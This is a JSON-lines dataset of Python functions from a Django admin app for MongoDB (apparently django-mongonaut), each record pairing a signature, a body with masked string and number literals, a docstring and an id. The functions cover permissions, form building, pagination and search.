{"signature": "def set_mongoadmin(self):", "body": "if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>return None<EOL><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.set_mongonaut_base()<EOL><DEDENT>for mongoadmin in self.get_mongoadmins():<EOL><INDENT>for model in mongoadmin['<STR_LIT>'].models:<EOL><INDENT>if model.name == self.document_name:<EOL><INDENT>self.mongoadmin = model.mongoadmin<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>raise NoMongoAdminSpecified(\"<STR_LIT>\".format(self.app_label, self.document_name))<EOL><DEDENT>", "docstring": "Returns the MongoAdmin object for an app_label/document_name style view", "id": "f4350:c1:m4"}
{"signature": "def set_permissions_in_context(self, context={}):", "body": "context['<STR_LIT>'] = self.mongoadmin.has_view_permission(self.request)<EOL>context['<STR_LIT>'] = self.mongoadmin.has_edit_permission(self.request)<EOL>context['<STR_LIT>'] = self.mongoadmin.has_add_permission(self.request)<EOL>context['<STR_LIT>'] = self.mongoadmin.has_delete_permission(self.request)<EOL>return context<EOL>", "docstring": "Provides permissions for mongoadmin for use in the context", "id": "f4350:c1:m5"}
{"signature": "def process_post_form(self, success_message=None):", "body": "<EOL>if not hasattr(self, '<STR_LIT>') or self.document is None:<EOL><INDENT>self.document = self.document_type()<EOL><DEDENT>self.form = MongoModelForm(model=self.document_type, instance=self.document,<EOL>form_post_data=self.request.POST).get_form()<EOL>self.form.is_bound = True<EOL>if self.form.is_valid():<EOL><INDENT>self.document_map_dict = MongoModelForm(model=self.document_type).create_document_dictionary(self.document_type)<EOL>self.new_document = self.document_type<EOL>self.embedded_list_docs = {}<EOL>if self.new_document is None:<EOL><INDENT>messages.error(self.request, u\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.new_document = self.new_document()<EOL>for form_key in self.form.cleaned_data.keys():<EOL><INDENT>if form_key == '<STR_LIT:id>' and hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.new_document.id = self.document.id<EOL>continue<EOL><DEDENT>self.process_document(self.new_document, form_key, None)<EOL><DEDENT>self.new_document.save()<EOL>if success_message:<EOL><INDENT>messages.success(self.request, success_message)<EOL><DEDENT><DEDENT><DEDENT>return self.form<EOL>", "docstring": "As long as the form is set on the view this method will validate the form\nand save the submitted data.  Only call this if you are posting data.\nThe given success_message will be used with the djanog messages framework\nif the posted data sucessfully submits.", "id": "f4350:c2:m0"}
{"signature": "def process_document(self, document, form_key, passed_key):", "body": "if passed_key is not None:<EOL><INDENT>current_key, remaining_key_array = trim_field_key(document, passed_key)<EOL><DEDENT>else:<EOL><INDENT>current_key, remaining_key_array = trim_field_key(document, form_key)<EOL><DEDENT>key_array_digit = remaining_key_array[-<NUM_LIT:1>] if remaining_key_array and has_digit(remaining_key_array) else None<EOL>remaining_key = make_key(remaining_key_array)<EOL>if current_key.lower() == '<STR_LIT:id>':<EOL><INDENT>raise KeyError(u\"<STR_LIT>\")<EOL><DEDENT>is_embedded_doc = (isinstance(document._fields.get(current_key, None), EmbeddedDocumentField)<EOL>if hasattr(document, '<STR_LIT>') else False)<EOL>is_list = not key_array_digit is None<EOL>key_in_fields = current_key in document._fields.keys() if hasattr(document, '<STR_LIT>') else False<EOL>if key_in_fields:<EOL><INDENT>if is_embedded_doc:<EOL><INDENT>self.set_embedded_doc(document, form_key, current_key, remaining_key)<EOL><DEDENT>elif is_list:<EOL><INDENT>self.set_list_field(document, form_key, current_key, remaining_key, key_array_digit)<EOL><DEDENT>else:<EOL><INDENT>value = translate_value(document._fields[current_key],<EOL>self.form.cleaned_data[form_key])<EOL>setattr(document, current_key, value)<EOL><DEDENT><DEDENT>", "docstring": "Given the form_key will evaluate the document and set values correctly for\nthe document given.", "id": "f4350:c2:m1"}
{"signature": "def set_embedded_doc(self, document, form_key, current_key, remaining_key):", "body": "embedded_doc = getattr(document, current_key, False)<EOL>if not embedded_doc:<EOL><INDENT>embedded_doc = document._fields[current_key].document_type_obj()<EOL><DEDENT>new_key, new_remaining_key_array = trim_field_key(embedded_doc, remaining_key)<EOL>self.process_document(embedded_doc, form_key, make_key(new_key, new_remaining_key_array))<EOL>setattr(document, current_key, embedded_doc)<EOL>", "docstring": "Get the existing embedded document if it exists, else created it.", "id": "f4350:c2:m2"}
{"signature": "def set_list_field(self, document, form_key, current_key, remaining_key, key_array_digit):", "body": "document_field = document._fields.get(current_key)<EOL>list_value = translate_value(document_field.field, self.form.cleaned_data[form_key])<EOL>if list_value is None or (not list_value and not bool(list_value)):<EOL><INDENT>return None<EOL><DEDENT>current_list = getattr(document, current_key, None)<EOL>if isinstance(document_field.field, EmbeddedDocumentField):<EOL><INDENT>embedded_list_key = u\"<STR_LIT>\".format(current_key, key_array_digit)<EOL>embedded_list_document = self.embedded_list_docs.get(embedded_list_key, None)<EOL>if embedded_list_document is None:<EOL><INDENT>embedded_list_document = document_field.field.document_type_obj()<EOL><DEDENT>new_key, new_remaining_key_array = trim_field_key(embedded_list_document, remaining_key)<EOL>self.process_document(embedded_list_document, form_key, new_key)<EOL>list_value = embedded_list_document<EOL>self.embedded_list_docs[embedded_list_key] = embedded_list_document<EOL>if isinstance(current_list, list):<EOL><INDENT>if embedded_list_document not in current_list:<EOL><INDENT>current_list.append(embedded_list_document)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>setattr(document, current_key, [embedded_list_document])<EOL><DEDENT><DEDENT>elif isinstance(current_list, list):<EOL><INDENT>current_list.append(list_value)<EOL><DEDENT>else:<EOL><INDENT>setattr(document, current_key, [list_value])<EOL><DEDENT>", "docstring": "1. Figures out what value the list ought to have\n           2. Sets the list", "id": "f4350:c2:m3"}
{"signature": "@register.simple_tag()<EOL>def get_document_value(document, key):", "body": "value = getattr(document, key)<EOL>if isinstance(value, ObjectId):<EOL><INDENT>return value<EOL><DEDENT>if isinstance(document._fields.get(key), URLField):<EOL><INDENT>return mark_safe(\"\"\"<STR_LIT>\"\"\".format(value, value))<EOL><DEDENT>if isinstance(value, Document):<EOL><INDENT>app_label = value.__module__.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>document_name = value._class_name<EOL>url = reverse(<EOL>\"<STR_LIT>\",<EOL>kwargs={'<STR_LIT>': app_label, '<STR_LIT>': document_name,<EOL>'<STR_LIT:id>': value.id})<EOL>return mark_safe(\"\"\"<STR_LIT>\"\"\".format(url, value))<EOL><DEDENT>return value<EOL>", "docstring": "Returns the display value of a field for a particular MongoDB document.", "id": "f4351:m0"}
{"signature": "def get_qset(self, queryset, q):", "body": "if self.mongoadmin.search_fields and q:<EOL><INDENT>params = {}<EOL>for field in self.mongoadmin.search_fields:<EOL><INDENT>if field == '<STR_LIT:id>':<EOL><INDENT>if is_valid_object_id(q):<EOL><INDENT>return queryset.filter(pk=q)<EOL><DEDENT>continue<EOL><DEDENT>search_key = \"<STR_LIT>\".format(field=field)<EOL>params[search_key] = q<EOL><DEDENT>queryset = queryset.filter(**params)<EOL><DEDENT>return queryset<EOL>", "docstring": "Performs filtering against the default queryset returned by\n            mongoengine.", "id": "f4352:c1:m0"}
{"signature": "@cached_property<EOL><INDENT>def get_queryset(self):<DEDENT>", "body": "if hasattr(self, \"<STR_LIT>\") and self.queryset:<EOL><INDENT>return self.queryset<EOL><DEDENT>self.set_mongonaut_base()<EOL>self.set_mongoadmin()<EOL>self.document = getattr(self.models, self.document_name)<EOL>queryset = self.document.objects.all()<EOL>if self.mongoadmin.ordering:<EOL><INDENT>queryset = queryset.order_by(*self.mongoadmin.ordering)<EOL><DEDENT>q = self.request.GET.get('<STR_LIT:q>')<EOL>queryset = self.get_qset(queryset, q)<EOL>try:<EOL><INDENT>self.page = int(self.request.GET.get('<STR_LIT>', '<STR_LIT:1>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>self.page = <NUM_LIT:1><EOL><DEDENT>obj_count = queryset.count()<EOL>self.total_pages = math.ceil(obj_count / self.documents_per_page)<EOL>if self.page > self.total_pages:<EOL><INDENT>self.page = self.total_pages<EOL><DEDENT>if self.page < <NUM_LIT:1>:<EOL><INDENT>self.page = <NUM_LIT:1><EOL><DEDENT>start = (self.page - <NUM_LIT:1>) * self.documents_per_page<EOL>end = self.page * self.documents_per_page<EOL>queryset = queryset[start:end] if obj_count else queryset<EOL>self.queryset = queryset<EOL>return queryset<EOL>", "docstring": "Replicates Django CBV `get_queryset()` method, but for MongoEngine.", "id": "f4352:c1:m1"}
{"signature": "def get_initial(self):", "body": "self.query = self.get_queryset()<EOL>mongo_ids = {'<STR_LIT>': [str(x.id) for x in self.query]}<EOL>return mongo_ids<EOL>", "docstring": "Used during adding/editing of data.", "id": "f4352:c1:m2"}
{"signature": "def get_context_data(self, **kwargs):", "body": "context = super(DocumentListView, self).get_context_data(**kwargs)<EOL>context = self.set_permissions_in_context(context)<EOL>if not context['<STR_LIT>']:<EOL><INDENT>return HttpResponseForbidden(\"<STR_LIT>\")<EOL><DEDENT>context['<STR_LIT>'] = self.get_queryset()<EOL>context['<STR_LIT>'] = self.document<EOL>context['<STR_LIT>'] = self.app_label<EOL>context['<STR_LIT>'] = self.document_name<EOL>context['<STR_LIT>'] = self.request<EOL>context['<STR_LIT>'] = self.page<EOL>context['<STR_LIT>'] = self.documents_per_page<EOL>if self.page > <NUM_LIT:1>:<EOL><INDENT>previous_page_number = self.page - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>previous_page_number = None<EOL><DEDENT>if self.page < self.total_pages:<EOL><INDENT>next_page_number = self.page + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>next_page_number = None<EOL><DEDENT>context['<STR_LIT>'] = previous_page_number<EOL>context['<STR_LIT>'] = previous_page_number is not None<EOL>context['<STR_LIT>'] = next_page_number<EOL>context['<STR_LIT>'] = next_page_number is not None<EOL>context['<STR_LIT>'] = self.total_pages<EOL>if self.queryset.count():<EOL><INDENT>context['<STR_LIT>'] = ['<STR_LIT:id>', ]<EOL>for key in [x for x in self.mongoadmin.list_fields if x != '<STR_LIT:id>' and x in self.document._fields.keys()]:<EOL><INDENT>if isinstance(self.document._fields[key], EmbeddedDocumentField):<EOL><INDENT>continue<EOL><DEDENT>if isinstance(self.document._fields[key], ListField):<EOL><INDENT>continue<EOL><DEDENT>context['<STR_LIT>'].append(key)<EOL><DEDENT><DEDENT>if self.mongoadmin.search_fields:<EOL><INDENT>context['<STR_LIT>'] = True<EOL><DEDENT>return context<EOL>", "docstring": "Injects data into the context to replicate CBV ListView.", "id": "f4352:c1:m3"}
{"signature": "def post(self, request, *args, **kwargs):", "body": "<EOL>form_class = self.get_form_class()<EOL>form = self.get_form(form_class)<EOL>mongo_ids = self.get_initial()['<STR_LIT>']<EOL>for form_mongo_id in form.data.getlist('<STR_LIT>'):<EOL><INDENT>for mongo_id in mongo_ids:<EOL><INDENT>if form_mongo_id == mongo_id:<EOL><INDENT>self.document.objects.get(pk=mongo_id).delete()<EOL><DEDENT><DEDENT><DEDENT>return self.form_invalid(form)<EOL>", "docstring": "Creates new mongoengine records.", "id": "f4352:c1:m4"}
{"signature": "def get_context_data(self, **kwargs):", "body": "context = super(DocumentAddFormView, self).get_context_data(**kwargs)<EOL>self.set_mongoadmin()<EOL>context = self.set_permissions_in_context(context)<EOL>self.document_type = getattr(self.models, self.document_name)<EOL>context['<STR_LIT>'] = self.app_label<EOL>context['<STR_LIT>'] = self.document_name<EOL>context['<STR_LIT>'] = reverse('<STR_LIT>', args=[self.kwargs.get('<STR_LIT>'),<EOL>self.kwargs.get('<STR_LIT>')])<EOL>return context<EOL>", "docstring": "TODO - possibly inherit this from DocumentEditFormView. This is same thing minus:\n            self.ident = self.kwargs.get('id')\n            self.document = self.document_type.objects.get(pk=self.ident)", "id": "f4352:c4:m1"}
{"signature": "def has_view_permission(self, request):", "body": "return request.user.is_authenticated and request.user.is_active<EOL>", "docstring": "Returns True if the given HttpRequest has permission to view\n*at least one* page in the mongonaut site.", "id": "f4353:c0:m0"}
{"signature": "def has_edit_permission(self, request):", "body": "return request.user.is_authenticated and request.user.is_active and request.user.is_staff<EOL>", "docstring": "Can edit this object", "id": "f4353:c0:m1"}
{"signature": "def has_add_permission(self, request):", "body": "return request.user.is_authenticated and request.user.is_active and request.user.is_staff<EOL>", "docstring": "Can add this object", "id": "f4353:c0:m2"}
{"signature": "def has_delete_permission(self, request):", "body": "return request.user.is_authenticated and request.user.is_active and request.user.is_superuser<EOL>", "docstring": "Can delete this object", "id": "f4353:c0:m3"}
{"signature": "def has_digit(string_or_list, sep=\"<STR_LIT:_>\"):", "body": "if isinstance(string_or_list, (tuple, list)):<EOL><INDENT>list_length = len(string_or_list)<EOL>if list_length:<EOL><INDENT>return six.text_type(string_or_list[-<NUM_LIT:1>]).isdigit()<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return has_digit(string_or_list.split(sep))<EOL><DEDENT>", "docstring": "Given a string or a list will return true if the last word or\nelement is a digit.  sep is used when a string is given to know\nwhat separates one word from another.", "id": "f4354:m0"}
{"signature": "def make_key(*args, **kwargs):", "body": "sep = kwargs.get('<STR_LIT>', u\"<STR_LIT:_>\")<EOL>exclude_last_string = kwargs.get('<STR_LIT>', False)<EOL>string_array = []<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, list):<EOL><INDENT>string_array.append(six.text_type(sep.join(arg)))<EOL><DEDENT>else:<EOL><INDENT>if exclude_last_string:<EOL><INDENT>new_key_array = arg.split(sep)[:-<NUM_LIT:1>]<EOL>if len(new_key_array) > <NUM_LIT:0>:<EOL><INDENT>string_array.append(make_key(new_key_array))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>string_array.append(six.text_type(arg))<EOL><DEDENT><DEDENT><DEDENT>return sep.join(string_array)<EOL>", "docstring": "Given any number of lists and strings will join them in order as one\nstring separated by the sep kwarg.  sep defaults to u\"_\".\n\nAdd exclude_last_string=True as a kwarg to exclude the last item in a\ngiven string after being split by sep.  Note if you only have one word\nin your string you can end up getting an empty string.\n\nExample uses:\n\n>>> from mongonaut.forms.form_utils import make_key\n>>> make_key('hi', 'my', 'firend')\n>>> u'hi_my_firend'\n\n>>> make_key('hi', 'my', 'firend', sep='i')\n>>> 'hiimyifirend'\n\n>>> make_key('hi', 'my', 'firend',['this', 'be', 'what'], sep='i')\n>>> 'hiimyifirendithisibeiwhat'\n\n>>> make_key('hi', 'my', 'firend',['this', 'be', 'what'])\n>>> u'hi_my_firend_this_be_what'", "id": "f4354:m1"}
{"signature": "def __init__(self, form_post_data=None, *args, **kwargs):", "body": "kwargs.update({'<STR_LIT>': form_post_data})<EOL>super(MongoModelForm, self).__init__(*args, **kwargs)<EOL>", "docstring": "Overriding init so we can set the post vars like a normal form and generate\nthe form the same way Django does.", "id": "f4355:c0:m0"}
{"signature": "def set_fields(self):", "body": "<EOL>if self.is_initialized:<EOL><INDENT>self.model_map_dict = self.create_document_dictionary(self.model_instance)<EOL><DEDENT>else:<EOL><INDENT>self.model_map_dict = self.create_document_dictionary(self.model)<EOL><DEDENT>form_field_dict = self.get_form_field_dict(self.model_map_dict)<EOL>self.set_form_fields(form_field_dict)<EOL>", "docstring": "Sets existing data to form fields.", "id": "f4355:c0:m1"}
{"signature": "def set_post_data(self):", "body": "self.form.data = self.post_data_dict<EOL>for field_key, field in self.form.fields.items():<EOL><INDENT>if has_digit(field_key):<EOL><INDENT>base_key = make_key(field_key, exclude_last_string=True)<EOL>for key in self.post_data_dict.keys():<EOL><INDENT>if base_key in key:<EOL><INDENT>self.form.fields.update({key: field})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Need to set form data so that validation on all post data occurs and\nplaces newly entered form data on the form object.", "id": "f4355:c0:m2"}
{"signature": "def get_form(self):", "body": "self.set_fields()<EOL>if self.post_data_dict is not None:<EOL><INDENT>self.set_post_data()<EOL><DEDENT>return self.form<EOL>", "docstring": "Generate the form for view.", "id": "f4355:c0:m3"}
{"signature": "def create_doc_dict(self, document, doc_key=None, owner_document=None):", "body": "<EOL>if owner_document:<EOL><INDENT>doc_field = owner_document._fields.get(doc_key, None) if doc_key else None<EOL><DEDENT>else:<EOL><INDENT>doc_field = document._fields.get(doc_key, None) if doc_key else None<EOL><DEDENT>doc_dict = {\"<STR_LIT>\": document if owner_document is None else owner_document,<EOL>\"<STR_LIT>\": document.__class__.__name__.lower() if doc_key is None else doc_key,<EOL>\"<STR_LIT>\": doc_field}<EOL>if not isinstance(document, TopLevelDocumentMetaclass) and doc_key:<EOL><INDENT>doc_dict.update({\"<STR_LIT>\": EmbeddedDocumentField})<EOL><DEDENT>for key, field in document._fields.items():<EOL><INDENT>doc_dict[key] = field<EOL><DEDENT>return doc_dict<EOL>", "docstring": "Generate a dictionary representation of the document.  (no recursion)\n\nDO NOT CALL DIRECTLY", "id": "f4355:c0:m4"}
{"signature": "def create_list_dict(self, document, list_field, doc_key):", "body": "list_dict = {\"<STR_LIT>\": document}<EOL>if isinstance(list_field.field, EmbeddedDocumentField):<EOL><INDENT>list_dict.update(self.create_document_dictionary(document=list_field.field.document_type_obj,<EOL>owner_document=document))<EOL><DEDENT>list_dict.update({\"<STR_LIT>\": list_field.field,<EOL>\"<STR_LIT>\": doc_key,<EOL>\"<STR_LIT>\": ListField,<EOL>\"<STR_LIT>\": get_widget(list_field.field),<EOL>\"<STR_LIT>\": getattr(document, doc_key, None)})<EOL>return list_dict<EOL>", "docstring": "Genereates a dictionary representation of the list field. Document\nshould be the document the list_field comes from.\n\nDO NOT CALL DIRECTLY", "id": "f4355:c0:m5"}
{"signature": "def create_document_dictionary(self, document, document_key=None,<EOL>owner_document=None):", "body": "doc_dict = self.create_doc_dict(document, document_key, owner_document)<EOL>for doc_key, doc_field in doc_dict.items():<EOL><INDENT>if doc_key.startswith(\"<STR_LIT:_>\"):<EOL><INDENT>continue<EOL><DEDENT>if isinstance(doc_field, ListField):<EOL><INDENT>doc_dict[doc_key] = self.create_list_dict(document, doc_field, doc_key)<EOL><DEDENT>elif isinstance(doc_field, EmbeddedDocumentField):<EOL><INDENT>doc_dict[doc_key] = self.create_document_dictionary(doc_dict[doc_key].document_type_obj,<EOL>doc_key)<EOL><DEDENT>else:<EOL><INDENT>doc_dict[doc_key] = {\"<STR_LIT>\": document,<EOL>\"<STR_LIT>\": doc_key,<EOL>\"<STR_LIT>\": doc_field,<EOL>\"<STR_LIT>\": get_widget(doc_dict[doc_key], getattr(doc_field, '<STR_LIT>', False))}<EOL><DEDENT><DEDENT>return doc_dict<EOL>", "docstring": "Given document generates a dictionary representation of the document.\nIncludes the widget for each for each field in the document.", "id": "f4355:c0:m6"}
{"signature": "def get_widget(model_field, disabled=False):", "body": "attrs = get_attrs(model_field, disabled)<EOL>if hasattr(model_field, \"<STR_LIT:max_length>\") and not model_field.max_length:<EOL><INDENT>return forms.Textarea(attrs=attrs)<EOL><DEDENT>elif isinstance(model_field, DateTimeField):<EOL><INDENT>return forms.DateTimeInput(attrs=attrs)<EOL><DEDENT>elif isinstance(model_field, BooleanField):<EOL><INDENT>return forms.CheckboxInput(attrs=attrs)<EOL><DEDENT>elif isinstance(model_field, ReferenceField) or model_field.choices:<EOL><INDENT>return forms.Select(attrs=attrs)<EOL><DEDENT>elif (isinstance(model_field, ListField) or<EOL>isinstance(model_field, EmbeddedDocumentField) or<EOL>isinstance(model_field, GeoPointField)):<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return forms.TextInput(attrs=attrs)<EOL><DEDENT>", "docstring": "Choose which widget to display for a field.", "id": "f4357:m0"}
{"signature": "def get_attrs(model_field, disabled=False):", "body": "attrs = {}<EOL>attrs['<STR_LIT:class>'] = '<STR_LIT>'<EOL>if disabled or isinstance(model_field, ObjectIdField):<EOL><INDENT>attrs['<STR_LIT:class>'] += '<STR_LIT>'<EOL>attrs['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>return attrs<EOL>", "docstring": "Set attributes on the display widget.", "id": "f4357:m1"}
{"signature": "def get_form_field_class(model_field):", "body": "FIELD_MAPPING = {<EOL>IntField: forms.IntegerField,<EOL>StringField: forms.CharField,<EOL>FloatField: forms.FloatField,<EOL>BooleanField: forms.BooleanField,<EOL>DateTimeField: forms.DateTimeField,<EOL>DecimalField: forms.DecimalField,<EOL>URLField: forms.URLField,<EOL>EmailField: forms.EmailField<EOL>}<EOL>return FIELD_MAPPING.get(model_field.__class__, forms.CharField)<EOL>", "docstring": "Gets the default form field  for a mongoenigne field.", "id": "f4357:m2"}
{"signature": "def get_document_unicode(document):", "body": "try:<EOL><INDENT>return document.__unicode__()<EOL><DEDENT>except AttributeError:<EOL><INDENT>return six.text_type(document)<EOL><DEDENT>", "docstring": "Safely converts MongoDB document strings to unicode.", "id": "f4358:m0"}
{"signature": "def __init__(self, model, instance=None, form_post_data=None):", "body": "self.model = model<EOL>self.model_instance = instance<EOL>self.post_data_dict = form_post_data<EOL>self.is_initialized = False if instance is None else True<EOL>self.form = forms.Form()<EOL>if not isinstance(self.model, TopLevelDocumentMetaclass):<EOL><INDENT>raise TypeError(u\"<STR_LIT>\")<EOL><DEDENT>if self.is_initialized and not isinstance(self.model_instance, self.model):<EOL><INDENT>raise TypeError(u\"<STR_LIT>\")<EOL><DEDENT>if self.post_data_dict is not None and not isinstance(self.post_data_dict, dict):<EOL><INDENT>raise TypeError(u\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Params:\n    model          -- The model class to create the form with\n    instance       -- An instance of the model class can be used to\n                      initialize data.\n    form_post_data -- Values given by request.POST", "id": "f4358:c0:m0"}
{"signature": "def get_form_field_dict(self, model_dict):", "body": "return_dict = OrderedDict()<EOL>if hasattr(self.model, '<STR_LIT:Meta>') and hasattr(self.model.Meta, '<STR_LIT>'):<EOL><INDENT>field_order_list = tuple(form_field for form_field<EOL>in self.model.Meta.form_fields_ordering<EOL>if form_field in model_dict.iterkeys())<EOL>order_dict = OrderedDict.fromkeys(field_order_list)<EOL>return_dict = order_dict<EOL><DEDENT>for field_key, field_dict in sorted(model_dict.items()):<EOL><INDENT>if not field_key.startswith(\"<STR_LIT:_>\"):<EOL><INDENT>widget = field_dict.get('<STR_LIT>', None)<EOL>if widget is None:<EOL><INDENT>return_dict[field_key] = self.get_form_field_dict(field_dict)<EOL>return_dict[field_key].update({'<STR_LIT>': field_dict.get('<STR_LIT>', None)})<EOL><DEDENT>else:<EOL><INDENT>return_dict[field_key] = FieldTuple(widget,<EOL>field_dict.get('<STR_LIT>', None),<EOL>field_dict.get('<STR_LIT>', None),<EOL>field_dict.get('<STR_LIT>', None))<EOL><DEDENT><DEDENT><DEDENT>return return_dict<EOL>", "docstring": "Takes a model dictionary representation and creates a dictionary\nkeyed by form field.  Each value is a  keyed 4 tuple of:\n(widget, mode_field_instance, model_field_type, field_key)", "id": "f4358:c0:m1"}
{"signature": "def set_form_fields(self, form_field_dict, parent_key=None, field_type=None):", "body": "for form_key, field_value in form_field_dict.items():<EOL><INDENT>form_key = make_key(parent_key, form_key) if parent_key is not None else form_key<EOL>if isinstance(field_value, tuple):<EOL><INDENT>set_list_class = False<EOL>base_key = form_key<EOL>if ListField in (field_value.field_type, field_type):<EOL><INDENT>if parent_key is None or ListField == field_value.field_type:<EOL><INDENT>if field_type != EmbeddedDocumentField:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += '<STR_LIT>'.format(form_key)<EOL><DEDENT>set_list_class = True<EOL><DEDENT>else:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += '<STR_LIT>'<EOL><DEDENT>list_keys = [field_key for field_key in self.form.fields.keys()<EOL>if has_digit(field_key)]<EOL>key_int = <NUM_LIT:0><EOL>while form_key in list_keys:<EOL><INDENT>key_int += <NUM_LIT:1><EOL><DEDENT>form_key = make_key(form_key, key_int)<EOL><DEDENT>if parent_key is not None:<EOL><INDENT>valid_base_keys = [model_key for model_key in self.model_map_dict.keys()<EOL>if not model_key.startswith(\"<STR_LIT:_>\")]<EOL>while base_key not in valid_base_keys and base_key:<EOL><INDENT>base_key = make_key(base_key, exclude_last_string=True)<EOL><DEDENT>embedded_key_class = None<EOL>if set_list_class:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += \"<STR_LIT>\".format(base_key)<EOL>embedded_key_class = make_key(field_key, exclude_last_string=True)<EOL><DEDENT>field_value.widget.attrs['<STR_LIT:class>'] += \"<STR_LIT>\"<EOL>if base_key == parent_key:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += '<STR_LIT>'.format(base_key)<EOL><DEDENT>else:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += '<STR_LIT>'.format(base_key, parent_key)<EOL><DEDENT>if embedded_key_class is not None:<EOL><INDENT>field_value.widget.attrs['<STR_LIT:class>'] += '<STR_LIT>'.format(embedded_key_class)<EOL><DEDENT><DEDENT>default_value = self.get_field_value(form_key)<EOL>if isinstance(default_value, list) and len(default_value) > <NUM_LIT:0>:<EOL><INDENT>key_index = int(form_key.split(\"<STR_LIT:_>\")[-<NUM_LIT:1>])<EOL>new_base_key = make_key(form_key, exclude_last_string=True)<EOL>for list_value in default_value:<EOL><INDENT>list_widget = deepcopy(field_value.widget)<EOL>new_key = make_key(new_base_key, six.text_type(key_index))<EOL>list_widget.attrs['<STR_LIT:class>'] += \"<STR_LIT>\".format(make_key(base_key, key_index))<EOL>self.set_form_field(list_widget, field_value.document_field, new_key, list_value)<EOL>key_index += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.set_form_field(field_value.widget, field_value.document_field,<EOL>form_key, default_value)<EOL><DEDENT><DEDENT>elif isinstance(field_value, dict):<EOL><INDENT>self.set_form_fields(field_value, form_key, field_value.get(\"<STR_LIT>\", None))<EOL><DEDENT><DEDENT>", "docstring": "Set the form fields for every key in the form_field_dict.\n\nParams:\n  form_field_dict -- a dictionary created by get_form_field_dict\n  parent_key -- the key for the previous key in the recursive call\n  field_type -- used to determine what kind of field we are setting", "id": "f4358:c0:m2"}
{"signature": "def set_form_field(self, widget, model_field, field_key, default_value):", "body": "<EOL>if default_value == []:<EOL><INDENT>default_value = None<EOL><DEDENT>if widget and isinstance(widget, forms.widgets.Select):<EOL><INDENT>self.form.fields[field_key] = forms.ChoiceField(label=model_field.name,<EOL>required=model_field.required,<EOL>widget=widget)<EOL><DEDENT>else:<EOL><INDENT>field_class = get_form_field_class(model_field)<EOL>self.form.fields[field_key] = field_class(label=model_field.name,<EOL>required=model_field.required,<EOL>widget=widget)<EOL><DEDENT>if default_value is not None:<EOL><INDENT>if isinstance(default_value, Document):<EOL><INDENT>self.form.fields[field_key].initial = getattr(default_value, '<STR_LIT:id>', None)<EOL><DEDENT>else:<EOL><INDENT>self.form.fields[field_key].initial = default_value<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.form.fields[field_key].initial = getattr(model_field, '<STR_LIT:default>', None)<EOL><DEDENT>if isinstance(model_field, ReferenceField):<EOL><INDENT>self.form.fields[field_key].choices = [(six.text_type(x.id), get_document_unicode(x))<EOL>for x in model_field.document_type.objects.all()]<EOL>self.form.fields[field_key].choices.insert(<NUM_LIT:0>, (\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT>elif model_field.choices:<EOL><INDENT>self.form.fields[field_key].choices = model_field.choices<EOL><DEDENT>for key, form_attr in CHECK_ATTRS.items():<EOL><INDENT>if hasattr(model_field, key):<EOL><INDENT>value = getattr(model_field, key)<EOL>setattr(self.form.fields[field_key], key, value)<EOL><DEDENT><DEDENT>", "docstring": "Parmams:\n    widget -- the widget to use for displyaing the model_field\n    model_field -- the field on the model to create a form field with\n    field_key -- the name for the field on the form\n    default_value -- the value to give for the field\n                     Default: None", "id": "f4358:c0:m3"}
{"signature": "def get_field_value(self, field_key):", "body": "def get_value(document, field_key):<EOL><INDENT>if document is None:<EOL><INDENT>return None<EOL><DEDENT>current_key, new_key_array = trim_field_key(document, field_key)<EOL>key_array_digit = int(new_key_array[-<NUM_LIT:1>]) if new_key_array and has_digit(new_key_array) else None<EOL>new_key = make_key(new_key_array)<EOL>if key_array_digit is not None and len(new_key_array) > <NUM_LIT:0>:<EOL><INDENT>if len(new_key_array) == <NUM_LIT:1>:<EOL><INDENT>return_data = document._data.get(current_key, [])<EOL><DEDENT>elif isinstance(document, BaseList):<EOL><INDENT>return_list = []<EOL>if len(document) > <NUM_LIT:0>:<EOL><INDENT>return_list = [get_value(doc, new_key) for doc in document]<EOL><DEDENT>return_data = return_list<EOL><DEDENT>else:<EOL><INDENT>return_data = get_value(getattr(document, current_key), new_key)<EOL><DEDENT><DEDENT>elif len(new_key_array) > <NUM_LIT:0>:<EOL><INDENT>return_data = get_value(document._data.get(current_key), new_key)<EOL><DEDENT>else:<EOL><INDENT>try: <EOL><INDENT>return_data = (document._data.get(None, None) if current_key == \"<STR_LIT:id>\" else<EOL>document._data.get(current_key, None))<EOL><DEDENT>except: <EOL><INDENT>return_data = document._data.get(current_key, None)<EOL><DEDENT><DEDENT>return return_data<EOL><DEDENT>if self.is_initialized:<EOL><INDENT>return get_value(self.model_instance, field_key)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Given field_key will return value held at self.model_instance.  If\nmodel_instance has not been provided will return None.", "id": "f4358:c0:m4"}
{"signature": "def is_valid_object_id(value):", "body": "try:<EOL><INDENT>OBJECT_ID.validate(value)<EOL>return True<EOL><DEDENT>except ValidationError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Validates BSON IDs using mongoengine's ObjectIdField field.", "id": "f4361:m0"}
